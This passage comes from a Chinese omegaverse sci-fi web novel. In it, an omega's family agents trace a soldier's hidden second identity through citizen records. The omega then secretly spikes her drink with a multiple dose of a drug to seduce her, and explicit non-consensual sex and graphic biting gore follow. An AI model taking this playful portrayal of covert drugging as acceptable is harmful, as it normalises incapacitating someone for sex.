他就是这样的,他能拒绝母亲最看好的后辈,能磨到他的姐姐给他新的身份权限,能想办法拿到身体里那张违规的芯片,那他当然也能让时与心甘情愿跟他回去——一切都只需要小赌一把,控制好情况,即使开局不顺他也总是能赢。 当然需要赌一把的是最后的结果,也有些事情比较确定,就是上面无论哪件事他都绝对要挨骂,最后一件尤甚。 他很紧张地舔嘴唇,抑制贴又撕开一个小小的口子,虽说各种症状已经靠抑制剂压下来,但他还依旧算是处在发情期,腺体很敏感,稍一刺激,信息素依然涌动如潮水。 该去哪里找她? 该在哪里合适? 该怎么和她联系? 他想起那个机甲的舱门,又一次懊恼自己为什么拒绝,如果当时不拒绝那他现在说不定就已经带上时与的标记。现在可真糟糕,找不到什么合适的地点又没了联系她的办法——总不能搬着那台控制器用邮件同她交流,她就算已读都不会回。 医疗部那位厉害的主任会告诉他时与的去处吗?应该不会,那是时与的朋友,怎么会反过头来帮他。 江鹤吟蜷成一团,抱住自己的腿叹气,而后站起来慢慢走回去。 他先回住院部的休息室随意取了把小刀,又去病房收拾了一下东西回到宿舍里。 手臂上小小的鼓包还在,他关上门举刀流利将它切开。这其实有点痛,刚长起来没多久的伤口又流出鲜血,芯片取出来用力一按就碎成几片,他把它扔进垃圾桶,和那些灰尘纸张混成一团。 止血、上药、包扎,这是他的专业范畴,他自己能轻易处理,脑机的信号正在重新连接,连通的那一刻诸多消息涌进来,未读的提醒看的人眼花缭乱。 除开那些不重要的人,爸爸发来了三百一十二个消息,姐姐有四十八,连母亲都有二十一,这数字好恐怖,他突然头皮都发紧,酝酿了大半天的豪情几乎顷刻消失殆尽,立刻就想去垃圾桶里把芯片找出来按回去。 江鹤吟深呼吸,拍拍自己的脸,扭头先跑去卸妆好让自己待会儿看起来再憔悴一些。 要先拨给姐姐。 他一头扎进洗手池盘算接下来的事,这时候第二星还是上午,姐姐应该还没开始工作,心情相对而言会好一些。 ——头发,头发要再梳整齐。 他抬起头又开始对着镜子整理仪容,见自己装扮整洁面色憔悴才终于作罢着,绕着原地紧张地转了好几个圈。 打开房间的灯,他闭上眼睛深呼吸,数了十下,这才确定拨通通话。 投影的模式打开,江鸢在那边接得很快,没给他再留下多少缓冲的时间,原本就狭小的房间里很快浮现出一个军服女人的影子。 她衣着整齐,头发也梳理的一丝不苟,看样子似乎才刚坐到办公室里,江鹤吟对这个背景很熟悉,她的手随意搭在椅子的扶手上,没为这个突如其来的通话惊喜,反倒好像有点生气,就这么面无表情地看着江鹤吟。 江鹤吟抿起嘴巴咽了口唾沫,声音可怜兮兮:“姐姐……” “跪下。” 江鹤吟立刻到床上跪下来,他低着头,手臂垂在身侧。以前对姐姐多少是可以耍个赖的,但他今天除了用点小心思跪到床上,其它的要多乖巧有多乖巧,跪姿标准、低眉顺眼道:“我错了……” 江鸢的眉毛拧起,她当然注意到江鹤吟这点娇气的小毛病,但看他如今的憔悴模样还是放过他,只道:“已经派了人去接你,回来不必去学校,在家里好好反省。你结婚的事可以再拖,我和母亲不会逼你。” “哦……”江鹤吟抬起眼睛,犯错小狗似的小心翼翼,“姐姐,我想带一个人走,你能不能帮我查一下她现在在哪里。” 江鸢道:“不行。” 时与叼着一只蛋白棒,在家收拾她的东西。 说来倒是也没什么好带,执勤待遇再差也差不到她身上,她给指挥部发了回复,又特地拨过一个通讯叫他们暂时修改计划,如今一切安排好,她也就终于清醒过来。 ……好像反应太大了。 稍微有点后悔。 时与整理了一包食物带在身上,给米尔加奈发消息说待会儿去把钥匙给她,约在下午三点,特战部外骨骼保养结束,按照流程申请带出,最后则又发消息给时夏,告诉他自己临时改变的行程。 这点事不用几分钟就能做好,她站起来压着太阳穴,眼睛看向天上的模糊轮廓,想了想终于还是又将邮件打开,给江鹤吟发送姜澜的通讯号码。 第28章 第 28 章 跑吧,我查户口 远轨道上各种民用舰艇进入最后排队等待的阶段。一切进行的迅捷有序,星汉茫茫中仿佛看到希望的曙光,江家几人紧绷的神经终于放松下来,他们在系统提交上自己的通行函,然而还未等八星的允许下达,这一路一向淡定的主家反倒先发来一条言辞激烈的通讯。 通讯里先是一串第八星的ID数据,之后紧跟着来了一条视频信息,来信人是家里的大小姐江鸢。情况不太正常,打开投影时众人几乎都被吓了一跳,这位向来严肃冷静的年轻alpha满面愠色,虽然隔着几个星系,但言语之间都好像嗅得出暴怒的味道。 她说:[我要你们去八星找到这个人,其他的事先放在一边。] [我会给你们打开所有的权限,不管你们用什么手段,把这人找出来,让她再也不许出现在鹤吟眼前。] 这话说得杀气腾腾咬牙切齿,任谁都能听明白这个“不再出现在眼前”是什么意思。 现场气氛如同被寒风扫过,几人面面相觑,应声称是,领队稍有犹豫,问:“那小少爷那里怎么办?请问优先级顺序是?” 江鸢:[给你们三天,三天后无论如何带他返航。] 她好像很急,说完立刻挂断通讯,投影消失,留下几人依旧待在狭小的船舱。 没人说话,谁也不敢妄自揣测主家的事,半晌才听到有一人叹气:“真是不得了。” —— 江鸢当然生气,江鹤吟刚才的话还像蚊子似的嗡嗡嗡嗡一直在耳边响。娇生惯养的弟弟面色疲惫,小心翼翼说自己在第八星遇上了一位品行多么高洁多么正直善良的alpha,请求自己帮忙找到alpha的去向。 任何omega以外的性别都能听出这话有多不靠谱,这故事情节无异于下凡仙子爱上贫穷老农,她当然不同意。 江鹤吟说:“我真的很爱她,我们信息素的匹配度很高。” 江鸢闻言更觉得荒谬,训斥他omega不许说这样轻浮的话。 江鹤吟:“她已经标记我了。” 仿佛平地惊雷。 这消息乍一听有点懵,江鸢独自消化了两秒后暴怒才猛地浮现在脑海里,她手握成拳砸向桌子,还未等她说话,江鹤吟那边就“嗖”一下挂断了通讯。 胆大包天! 江鸢恨不得现在就亲自到八星去把他抓回来,顺便再找到那个混蛋alpha分尸。 —— 与时与的联系断开,江鹤吟很急。 于是江鸢很急,江家派来的这几位也得很急,仿佛听见他们急切的心声,第八星突然变得很通人性,原定三至五天才能开放的阿斯克勒在他们递交申请后的第二天就向他们敞开了欢迎的怀抱,效率突增。 对虫族的扫除还需要进行最后的收尾,第八星的机甲与武器研制领先整个联邦,此时航道周围尚有一些未公开型号的机甲正在大喇喇运作,可惜江家这几位都无暇欣赏,一架造型奇异的漆黑机甲与他们擦身而过,他们甚至目不斜视,直接向前投进了跃迁轨道。 山岳般的蜘蛛在他们背后消散如海洋,密密麻麻的人脸大的蜘蛛爬过各个角落,掠过缝隙和任何虫族能藏匿的地方。 —— 江鹤吟已经销掉了自己的病假。 他一如往常坐诊值班,在给江鸢的通讯过后索性鼓起勇气一股脑绕着通讯录挨了一圈骂——当然对江鸢说的那些过于刺激的话就没再同旁人提起,只说自己来时遇到虫潮,脑机受到些影响出了故障。 他与洛恩终于加上了通讯,又从他那里拿到时与的号码。时与说要让江鹤吟补一份检讨,但实际好像从那之后就再也没理他,好友申请没有通过,她就只是单向地留在江鹤吟的通讯录里,发出的信息只能收获红色的叹号,似乎拒绝与他再有任何沟通交集。 他叹气,又转向另一边,医疗部那位主任的联系方式倒是成功添加,如他所想,对方很和善,但也根本没有告知他时与去向的意思,无论旁敲侧击还是直接询问都没成功,他便不去缠着人家,老老实实闭上嘴不再打扰。 唯一的好消息是家里这次派来的几人已经联系上。江鹤吟给他们发了自己的方位,好像并不觉得他们的到来会影响到自己,配合的仿佛他们几人本就是为了给自己服务才来似的,让他们来时不必等他,直接来找。 那艘外形低调的航空艇降落在第三天的下午,急急忙忙甚至借了军部的道,停在江鹤吟来时那块停泊坪上。 等他们找到医疗部的门,江鹤吟一天的工作都几乎要接近尾声,他看着推门而入的几人,歪过头想了想,似乎是对他们没什么印象。 几人样子很急躁,他指指门口,示意他们先把那块“暂停”的牌子挂上,不紧不慢指挥这指挥那的样子叫几人都没了脾气,只好先听他的安排,关门挂牌关窗,这才最终能排排站在他面前。 那领队说:“少爷,请您跟我们回去。” 江鹤吟问:“姐姐给你们多长时间?” 领队道:“三天。” “哦,”江鹤吟双手搭桥撑住下巴,一头银白头发柔顺落下,他目光偏移,不知道思考了什么,嘴巴无意识抿起,“三天,好吧,好少。” 他说:“那你们这三天之内得听我的。” “我们目前……” “我知道,”江鹤吟打断他们的话,屏幕上调出时予的就诊信息,转到他们面前,“你们还要找她,我也是,所以听我的安排,你们的进度也需要先向我汇报。” 他态度理直气壮,领队只觉得这件事情好像变得有些奇怪,但这细想起来没有任何问题,小少爷的配合会让他们的行动不再难做,于是几人点头,答应下来。 —— 江鹤吟有一张所有初、中等权限都开放的卡,但很可惜,他本人的技术太差,这卡在他手里只能用来刷个出入门禁,用处不大。 但来的这几人不一样,打开的权限对他们而言仿佛宝箱的钥匙,江鹤吟坐在一边看他们操作自己的系统,各种公民信息如同流水般显现。 时予的信息铺了整整一页,凡是ID扫过的地方都有记录留存,比江鹤吟自己能查到的东西详尽无数倍,她的人生轨迹仿佛铺展开,最近的消息落在最前——她在126区的游乐场订了半月的房间,一位无信息的omega入住,到现在还没出门。 江鸢的先前态度和措辞已经足以让人浮想联翩,江家这几人降落之前自己心里都隐隐约约有所猜测,只不过憋在肚子里没说,这下看到这条记录都倒吸凉气,甚至有人偷眼去看江鹤吟。 江鹤吟捂脸。 “不是这个,”他莫名其妙有点恼火,“她的卡丢了,她现在在执勤!” “你们要找到她执勤的地方!” 他与江鸢长得很像,压下眉头也隐隐有点严厉的味道,几人听话地低了头,江鹤吟是个弱质omega不错,但到底还是上司,于是他们重新拿出那副专业的样子,假装没看到那个开房的信息,继续向下探查。 再向下是一条住院的记录,再向下…… “这个ID好像有点问题。”领队坐直身体,眉毛拧起一个疙瘩。 他说:“这不对劲,她近年只有两条活动记录,在这个住院的消息之前是十五年前中午离开特战部门禁,这行动记录是不完整的,这不对。” 江鹤吟闻言立刻靠近过来,发现情况确如这领队所说,这记录非常奇怪,他问:“会是加密吗,我们的权限不够?” “不会,”另一人摇头,江鹤吟看向她,那人将桌上键盘移到身边,飞快输入几个指令,屏幕闪烁,但毫无变化,她说,“您看,加密不是这样的,她中间确实没有信息。” 那领队问:“还有什么办法吗?” “有没有亲属关系?”女人说,“或许找了别的身份卡,我可以从亲属关系上查。” “有,”领队向上翻,嘴上机械地念起来,“亲生母亲去世了,生父健在,有两个弟弟和四个妹妹,这六个孩子活了三……” 江鹤吟垂着眼睛,忽然觉得不对,他摆手:“等一下。” “不要找这些,这些亲属不对……找另一个人,我只知道名字可以吗?”他看向那个正操作系统的beta。 女人点头:“可以,但重名多的话筛选起来会很麻烦。” “没关系,慢慢来。”江鹤吟说,“你查一下‘时夏’。” 只输入姓名进行搜索的的话条件有些太宽泛,女人退出目前的界面,“时夏”二字输入进去立刻卡顿似的出现一大片相似的代码。 江鹤吟倚在椅背上,他看不懂这个,只能回忆起那位弟弟的模样帮众人筛选:“找一找,是一个男性的beta,年纪是青年——应该和我差不多大,先看他们的照片,他是棕色的头发,直发,脸上很干净……” 几人依言快速过滤过这群同名的人,最后留出两位,打开照片任江鹤吟辨认,江鹤吟指着第一个:“是他。” 他眯起眼睛:“去看他的亲属关系,我们要找他的姐姐。” 操作系统的女人应声,不知又输入了什么,屏幕飞速闪过麻乱的信息,江鹤吟坐直身体凑到屏幕前。 映入眼帘的首先是一张照片,黑发黑眼的女人坐得端正,眼睛没看镜头,没睡醒似的瞥向一边。 不必再往下翻了。 “‘时与’,”江鹤吟说,“你有两张身份卡。” 第29章 第 29 章 警惕熟人作案 时予,服役于第八星军部前线战斗队伍、上士、户籍地135区东城道。 时与,服役于第八星军部特战部,户籍地23区陵水上城,三年前军衔晋升为大校。 照片上的人一直是那副懒洋洋的模样,只不过一张相片看着镜头,一张把眼睛移开,她连衣服都没换,军部那个有点发灰的常服一直穿在身上,好像她这两张照片是同一时间抓拍到的一样。 江鹤吟没说话,他撑起侧脸看她的信息,以前被刻意忽略的细节重新在脑海中显现出来:过好的身手,远超规格的补贴,周围人默不作声的礼让…… 时与根本就不是什么因为背景被埋没的倒霉蛋,她军衔很高,所以行动嚣张出入随意,也因此根本懒得看自己所谓的优渥条件——估计对她而言很一般。江鹤吟了然,但这要怪时与告诉他的信息都是些假的、过期的无用消息,从她的角度提条件当然不吸引人,讨厌。 骗人感情的坏A,江鹤吟在心中轻骂,但实际并不觉得有多气恼。江家来的几人与他一起绕在屏幕之前,能感觉到现场的气氛随他们下移的目光越来越僵。 不知道他们几个背地里还有什么任务要完成,现场只有江鹤吟看着这些消息抿起嘴巴反倒想笑,他想——大校,这太好了。 “她去了哪儿?”江鹤吟问。 领队如梦初醒:“前天有阿斯克勒的入境记录。” “哦,”江鹤吟站起来,“关掉吧,这个新消息发给姐姐,母亲那边也发一份……嗯,不对,你们先别管,还是我亲自来发。” 几人似乎是松了口气,江鹤吟看看天色,说:“走吧。” 他直接让人将时与的基本信息打包过来,拿到手后先转给自己姐姐,又计算一下时间,母亲那边得挑个好时候,他预计等她工作结束再说这事。 几人来时外面的天色就不早,等他们一套流程做完终于扒出时与身份,医疗部更是已经下班了挺长时间。 江鹤吟近期工作很不积极,请假、翘班、工作时间看上别人家的alpha……他牙齿轻咬住下唇让自己别勾起嘴角,一点都不心虚地又开始操作起请假的事,很快就用与上次同样的病假理由又请三天。 几人还等着要送他回去,江鹤吟眼睛抬上去,觉得挺没必要,他打开另一个界面,神态很轻松:“我开些药带上,你们有需要的吗?” 药材栏上被他写了一堆东西,江家这几人也有懂医学方向的,搭上眼睛瞧了一下,见最开始就是些抑制剂之类挂在屏幕上,自觉是少爷的隐私,便没再细看,只说感谢,说他们准备很充分,不需要额外伤药。 江鹤吟点头,又摆手直接打发他们走:“不需要就别聚在这儿,你们回去重新递交申请,我们要去阿斯克勒。” “不过其实不用管他们最后同不同意,我们有权限,”他说,“明天等我通知你们,到时候直接出发就好。” 众人自然没有异议,江鹤吟也不理会他们那边是不是还有什么安排,径自整理好门诊各处,“暂停”的牌子换下,拿着刚开好的单子去药房拿药下班。 阿斯克勒…… 温差、风沙、干旱、直面虫潮、过强的紫外线……阿斯克勒是一颗改造成本过大,投入与产出的性价比太低的卫星,星球上能住人的地方不多,自动设施之外只有几支队伍来回换班在上面巡逻。 它不算多大,时与来这里两天,基本已经将整颗星球转过一遍,她对自己信息被爬取的事情无知无觉,根本不知道自己的简历跨过星海,上了哪位将军、哪位指挥官的桌。 她在和苏鸿玩联机。 一般来执勤的人都有随行家属的名额,但这次太匆忙,她只背了一大包吃的喝的飞快逃到这里,无论时夏还是苏鸿都没去打扰。普通执勤倒是没什么,但这样大范围的搜捕对她而言挺累,回宿舍饿得头晕眼花,吞了快十支营养剂才好。 精神疲劳再加上可能长时间没来有点不适应环境,她动动鼻子又打一个喷嚏,苏鸿在那帮她数数,说一个喷嚏是有人想,两个喷嚏是被人骂,但她这是第八个,想来是真的弱,换地方感冒了,垃圾一个。 时与说嘘,把你的狗嘴闭上。 “好吧,”苏鸿叹气,“其实是三个人骂你,其中一个是我,还有一个是夏夏。” “……他骂我干什么?” 苏鸿说:“因为你用游戏把我牵制住,监视我不让我去找他。” 不让弟弟谈恋爱不过说着玩玩,她根本没付出任何行动反对过,时与无语:“你爱去不去。” 不过如果这样说,所谓打喷嚏与被人想或被人骂有关的话,时与顺着她的说法向下思考,觉得那第三个骂她的名额应该在江鹤吟身上。 江鹤吟的好友申请还挂在她的通讯页面上没有通过,自己又突然人间蒸发,估计现在应该一边休息一边咧咧咧骂她。 ——江鹤吟没有,江鹤吟冤枉,江鹤吟在收拾自己明天的行装。 时与那份简略的信息已经发送给母亲,他没有说得很任性,如同往常与母亲的交流那样,就公事公办开始介绍,说这个人非常好、前途无量、十分照顾自己……都是好词,没骂一句。 他连自己的打算都不用多说,就只把时与的情况摆明了告诉江指挥官:这是一个没有背景的、青年期的大校。 很巧,他是家里最没用的小儿子,这没什么不好,他觉得母亲甚至会更喜欢对方。 事情并不出他所料,他消息发出的第二天下午,一封通讯临时插进了第八星苏指挥官的行程邮箱。 —— 时与曾经听说一些传承比较久的古老家族是讲究什么家风家训的,比如苏鸿以前说过,米尔加奈好像也曾经提及,她这种小小刁民自然没有,如果有的话——她想,应该和江鹤吟如今行动的核心精神一样。 江鹤吟双手背在身后倚在她的宿舍门口对她羞赧微笑,她捂脸:“你家是不是有一面墙。” 江鹤吟:“嗯?” “你家是不是有一面墙,写着几个家训大字,”时与不知道他这又是怎么进来的,她有气无力,又执勤了一天,整个人饥肠辘辘连生气都没力气,只弓着背叹口气将门打开,说:“比如‘不要脸的人生精彩纷呈’之类的。” 江鹤吟听出她在骂他,但就假装自己刚才聋了,宽容地选择原谅,见她把门打开,亲亲热热哼哼唧唧紧贴着她的背走进去。 他今天终于脱了那身第八军部发给他们的统一制服,换了套月白色的丝绸衬衣,各种稀奇漂亮的小装饰点缀之余,又有一条蕾丝花边的雪白颈带系在脖颈上。时与看这身漂亮的装扮又开始叹气,知道他这是在cos omega。 ……哪敢把他扔出去,神经病啊在这装O,打扮成这样真就怕他第二天就不明不白死外边,服了。 时与把他带进来,不等江鹤吟乐颠颠转个圈坐到沙发上,就打开一边的门将他往阳台上塞。 她捂着鼻子,似乎很累,嫌弃的声音都半死不活:“你身上喷的这身味儿散掉之前别进来。” 江鹤吟说:“哎?” 他的动作很快,根本就没等家里江指挥官的回应,次日上午就让让一群人带着直接跑过来,也多亏阿斯克勒人类聚居区只有小小一块,他轻易找到时与的方位,打扮漂漂亮亮站在门口等她回家,连抑制贴都撕掉了一半。 怎么是这样的态度,好敷衍,而且什么叫“喷的这身味道”,时与总不能看见他的信息卡是这样写就笃定他的性别一定是beta。 “时与!”他不出去,浑身绷得硬邦邦像个推土机似的被她推着走,“我没……” 时与说:“嗯嗯好。” 她一手捏着鼻子,一手压着他的后心向阳台推。 房间外忽然传来门铃滴答声,时与微微偏过头,不待应声眼前就突然有什么东西扑上来挡住她的视线。她吓了一跳,向一边扭头一甩,江鹤吟立刻趁机摆脱掉时与那只胳膊的钳制钻出去。 他跑到门口也不问是谁就把门打开,打开后倒是又开始装模作样:“谁呀?” 时与扒自己的脸:“……” 脸上趴的东西毛茸茸的,时与把它从脸上拿下来,捏住小鸟两个翅膀尖,晃了晃,与它大眼瞪小眼。 小鸟在她手上扑腾起来。 她“噫呃”一声,把胳膊伸得直直的,对江鹤吟骂道:“……你谁什么谁呢,服务机器人,我要的加餐。” 江鹤吟那边没回应,在门口呆了半晌才拿着一整排营养液转过身,服务机器人早走得不见踪影,那排营养液是特大瓶装,红黄绿蓝各色不一,他很自来熟,像时与要请他吃饭似的:“这也太多了,我要绿色。” 时与捏着鸟,把鸟墩到他的头顶,最终还是不自觉又去揉搓它两下。 她倒是第一次见江鹤吟的精神体,小鸟不如她一根手指长,刚才好像被她弄疼了,一靠近就开始扇翅膀。 时与说:“都是我的,你出去喝西北风去。” 江鹤吟随意给她抽出一支,抱着剩下的去沙发上坐下,默不作声,见她拧开盖子喝水似的直接把营养液倒进嘴巴。 “你要不要坐在我身边?”他提议,手拿起那排营养液对她举了举。 “不要,不想闻,你们为什么一定要用这个,每次闻到都感觉在被性骚扰。”她走近些弯腰挑选,“咦,你什么时候打开的?” 江鹤吟问:“什么叫‘你们’?还有谁?” 时与拿起那支绿色的营养液,它似乎刚才被江鹤吟开封过,不过只是拧开了,里面没少。 或许给他留一支? 她眨眨眼,正要放回去,江鹤吟直接把剩下的那排向身后一藏:“喂!” “时夏他们前段时间很流行,”时与回答道,她说,“我换一个啦,这个留给你,你都打开了。” 江鹤吟:“我只是打开了,干嘛这么嫌弃我!” 时与心说你不是刚才还说想要绿色,她牙疼:“你给我下毒怎么办?” “你烦不烦,”江鹤吟说,“我给你加了大便。” 第30章 第 30 章 兄弟你好香 时与叹气,将盖子拧开:“真粗俗。” 营养液本就是为了节省时间、压缩成本做出来的方便食品,省去天然食品中多余的成分,只将人体必备的物质黏黏糊糊加成一团,原本发明的初衷就不是为了什么美味口感,然而大规模普及久了,在营养液几乎完全垄断食品市场的当下,生产厂家却又回到食品最初的赛道,开始别出心裁宣传起不同口味来。 第八星的营养液品种繁多、厂家各异,正处在一种百花齐放蓬勃发展的新阶段,同种色素加进去,可能上次吃起来觉得像苹果,下次供应厂家一换就变成了艾草。江鹤吟方才没闻出这小绿瓶是什么味道,只不过它的颜色对他的东西而言刚好合适。 他紧张地看着时与打开盖子,翡翠般的黏糊液体倒进嘴里直接吞下去,完全不设防。 他问:“什么味道?” “前调是风铃草、露珠、绿叶、公丁香,中调是铃兰、野玫瑰果、后调是麝香和琥珀……”时与晃晃空瓶开始胡说八道,最后给出评价,“草味儿。” 江鹤吟“切”一声,又举起手里的营养液任她选择。 时与看上去神色如常,方才的营养液有一股微弱的苦味,像是什么药,不知道是因为室内温度设置的太高,还是因为那瓶营养液被江鹤吟动过所以带了点omega信息素的残余,喝下去后手脚慢慢有些发热。 江鹤吟身上的味道更明显了,淡淡的橙花香一直撩拨她的鼻尖,这味道又轻又细,像他头顶上小鸟的羽毛。 那只鸟——他的精神体没有收回去,蹲在他头顶上变得圆滚滚,一只鸟变成一团鸟,看起来很柔软。它偶尔也动动脑袋,见时与看过来就张开嘴,小警报器似的叽叽咕咕连续骂人,听上去肺活量不小。 还挺可爱的,和他本人有点像。 江鹤吟就这么默不作声看她又喝掉三支,嫌头上的鸟吵,伸手捏住它的嘴,鸟叫声立刻停了,时与没忍住笑。 他拉过时与的衣摆让她坐到身边。 或许是觉得总拒绝也没什么意思,时与终于坐下来,空空如也的胃袋装上点东西舒服了不少,alpha神情放松,头脑犯困似的,略有点麻木和昏沉,很快觉得皮、肉和骨头仿佛分离开,谁也控制不了对方。 江鹤吟身体与她贴的很近,他问时与:“你累了吗?” “时与?” 他的手指摸上时与手心,而后一点点挤到她的指缝里。 和她这双用得很旧的手不同,江鹤吟玉白修长的手上没有任何疤痕或薄茧,只是有点凉,握起来像莹润的玉,让人很羡慕。 他说:“你骗我,你是混蛋,你给我的ID和姓名都是假的。” 时与歪歪头,根本不记得有这事,但是没反驳。 江鹤吟将膝盖搭在她的腿上,她皱起眉本来要让他拿走,但很快又觉得这没什么大不了的,想搭上来就搭吧,毕竟江鹤吟很漂亮,而且很香。 江鹤吟好香。 好香。 有点饿。 江鹤吟握着时与的手慢慢抬到自己的脖颈上,精致漂亮的蕾丝颈带落在她手边,他慢慢起身,另一只手扶上时与的肩膀。那只扰人清静的小文鸟消失不见,江鹤吟探身向前,身体与她紧贴。 他的信息素仿佛是捕获梦境的网,这不是什么模拟信息素之类能临时喷在身上的时尚物件。时与忽然明白过来,她放松的身体骤然绷紧,瞪大眼睛难以置信地看向江鹤吟,头脑好像在烧,她该起来立刻走掉或者把他扔出去,但她的身体并不想动。 江鹤吟说:“你得给我赔礼,因为你骗我……虽然别的事上我也对你略微隐瞒了一小点点。” 他凑近,轻轻地、浅浅地咬了一下时与的喉咙,身上丝绸的衣服很薄,能感觉到他的体温也开始升高,他用下巴轻轻蹭蹭时与的手:“你能帮我把颈环解开吗?” 这不对,时与只觉得头好晕。 江鹤吟没等到她回应,很不满地哼了几下,他抬起头去亲吻她的嘴角,时与不反抗,却也没有动作,她半阖着眼睛有些失焦,连信息素都沉寂下来。 江鹤吟调整了一下姿势,去吻时与的耳后,去碰时与的鼻尖,甚至将她穿在身上这身制服的扣子解下两颗,热气喷在锁骨上,他伸出舌尖舔了舔。 “加多了……?” 江鹤吟有点苦恼,他只加了三倍多一点的剂量,毕竟一般而言都说她们这种铁血战士要下很多药,药量能毒晕一头大象都不一定对她们有用——他分明还算保守,所以以前看的东西又有错? 呃…… 他趴在时与怀里,不知道该怎么办,心想这下坏了,我还想让你抱我去床上呢。 时与的味道把他完全包裹起来,江鹤吟的脑子也跟着有点转不动,他有些难耐,只能先骑在时与一条腿上来回磨蹭,他抬起头,和时与唇舌交缠,心想实在不行就勉强吃个半自助餐。 他们信息素的匹配度实在很高,他坐在时与身上,像深海里出现的萤火,暗井里冒出的星光,比任何东西都显眼诱人,他在那里又仿佛一块小蛋糕被喂到嘴边,人就算睡着也本能地知道可以张口咀嚼。 两人的信息素不断交缠,浓度几乎攀升到顶点,时与终于迷迷糊糊动了,她的手盖上他的后背,解下那条漂亮的蕾丝颈带,手指插入他柔顺的发丝,将他往自己的身上按。 江鹤吟软下身子:“时与……” 房间的灯还亮着,裤子上能见到一片暗色的水痕,他不动了,老老实实趴在时与的身上,眼神迷离,呼吸都变得灼热难安。 颈环解下来,客厅里更是几乎要被他的信息素占满,他原本就在发情期的末尾,这下被抑制剂压下去的情欲都快要重新显现反弹。 时与微微张口,她似乎没有什么力气,又或许潜意识里觉得这是什么小小的情趣,她咬住他的脸颊轻轻磨牙,江鹤吟喉咙里泄出微弱的呻吟声,他想让时与先把他的衣服脱下来,漂亮衣服穿起来都有点紧,裤子是紧身束腰的,现在黏哒哒粘在身上更是让人觉得非常不舒服。 时与像是没什么意识,她不听江鹤吟的话,她说:“嘘。” 江鹤吟开始掉眼泪。 这身衣服在灯光下倒真能称得上流光溢彩,时与勾起他一缕发丝轻轻嗅闻。 他是个漂亮的小礼物,是个美味的小食品,就是要精美的包装才更显得他昂贵不凡。他在哭,时与帮他擦掉眼泪,从他的脸颊慢悠悠又换个地方咬一口,嘴唇、耳垂、舌尖……她在不同的地方留下浅红色的牙印。 江鹤吟哭得一抖一抖,时与有些看不清,她状态很不对劲,仿佛脸上长了八只眼睛然而视角各不相连,她看东西已经有点重影,触觉、声音、气味……旁的东西却变得更明显。 这不对…… 但是这没什么不好的。 怀里是一只温温热热的小猎物,她想用什么把他缠起来,他真香啊,真美味,让人垂涎欲滴。 在这里好吗?在这里会不会不安全? 她肢体还有点不协调,不太听大脑指挥地踉跄站起来,托起江鹤吟的身体抱在怀里,鼻尖都是他信息素的味道,橙花香覆盖江鹤吟从头到脚。很有意思,他还会动,身体轻轻扭了几下又柔顺地伸手搂住她的脖子。 时与想,哇,好有趣。 真想知道他里面是什么样子,想知道他里面是什么味道。 她真如江鹤吟所愿把他带进卧室里,温暖的味道缠绕,江鹤吟陷在柔软的被子里,一手勾住时与的脖子抬头索吻,却被时与握住手腕拉下来。 她把江鹤吟翻了个身,两只手拉到一起背在身后,而后略泛金色的蛛丝将他双手缠缚住。 欺身压下,几只手指探进衣服里,弹琴似的在外面点点按按。外面早就已经湿漉漉一片,她借着水痕伸进一根手指,里面更灼热些,湿滑,又紧又暖。 似乎是好奇,她曲起手指揉按,江鹤吟软倒在床上轻叫出声,于是另一只手又向上抬,手指塞进他的口腔搅动,夹起他的舌头玩。江鹤吟流出更多眼泪,呜呜咽咽的哭声从喉咙里流出来。 真好听,时与想,真好玩。 她又加进一根手指,有点紧,江鹤吟好像不舒服,身体一僵却又放松下来,于是时与俯身,奖励一般亲吻他的耳垂,她说:很好,宝贝,很乖。 于是江鹤吟更配合,他皮肤很白,身上蒸腾起一片晕红,看得出是一道非常美味的菜。 有些汗湿的头发搭在身上,颈后的腺体被盖住,但时与不用看就知道它在哪里。 有点忍不住,一定要等前菜上完吗? 她将手指拔出来,透明的液体粘在上头,膝盖向前顶住江鹤吟腿间。 江鹤吟又呜咽一声,时与看着自己的手指想,也不一定吧,为什么不能先尝? 他好香啊。 他好香啊…… 他好香,他好香,他好香,他好香他好香他好香他好香他好香他好香他好香他好香他好香他好香他好香他好香 时与嘴巴张开,脸上和江鹤吟是如出一辙的红晕,舌尖舔过尖厉的犬齿,江鹤吟轻轻喘息,湿漉漉的眼睛向后看她。 血腥味溢满口腔,时与咬上他的脖子。 皮肉被撕扯开,牙齿深深陷进去,听不见也看不见,只剩下舌头上的味蕾还在兢兢业业。 时与说:“江鹤吟,我好饿啊。” 30-40 第31章 第 31 章 兄弟你别香了 时与以前吃东西常遇到一种情况:闻起来觉得惊为天人,而实际真吃到嘴巴里味道却只能算平平无奇甚至令人失望,这种就是超级糟糕的体验,万幸江鹤吟并不是这样。 他品尝起来与想象中一样香甜,美味到令时与觉得不该就这么粗鲁地囫囵吃下去。 她已经很久都没有对自己口中的食材升起敬意,她吃江鹤吟,就好像她当初第一次吃到真正从水中、从土里长出来的食物那样,然而他与以往食物的口味都不相同……具体也不知道该怎么讲,只觉得应该更郑重地对待,比如吃之前先焚香沐浴,吃的时候再鞠个躬,西装革履品尝。 她将嘴巴松开一点,舌头舔过从伤口流淌出来的鲜血。 肚子咕咕叫,她好急切,但没再像一开始那样莽撞地贸然去咬,血液缓缓流下,她等在一边,耐着性子一点一点吞咽。 江鹤吟微弱的惊叫和哭泣声与餐厅中的背景音乐无异,他身体一直不停细颤,肌肉痛的抽搐,偶尔也自己费力扭两下身体,但毫无疑问挣脱不开时与的束缚。 他摸起来触觉非常柔软,或许omega的身体就是这样,这很舒服,也很好玩,于是她又把江鹤吟的身体翻过来让他正面对着自己。手指在他身上划过,本来想尝尝脸颊,但信息素太香了,所以最终还是决定将脸埋在他脖颈间,张开嘴撕扯他的锁骨,他好嫩,不费多少力气轻易又咬出血。 江鹤吟是个胆大包天的家伙,一般很信任人,被欺负了也不知道反抗,但这次不同,他痛的没力气,分明连拳头都握不紧,但还是抬起腿想把她往旁边踢。 时与想,他的腿应该和手一样被绑住才对。 还能抬起腿就已经很了不起,要说再踢她,那力气就一点都不剩,时与甚至觉得这点力度都踢不飞一只蚂蚁。手扶上他抬起的腿弯正要帮他将双腿好好归位,时与突然改了主意。 忘了,她想,怎么只吃想吃的东西去了,这里还有前菜的忘了尝一尝。 头好晕。 江鹤吟害怕得几乎动不了,痛得呼吸不上来。他身前锁骨和肩上被撕扯开一大片,颈后腺体上有深深的血眼,还好没咬到动脉,但依然流了很多血,非常多,开始时还是温热的,现在粘在破损的衣服上又凉又黏,他怀疑自己的血会在alpha的床上一直流干。 他会死吗? 为什么啊,怎么这样。 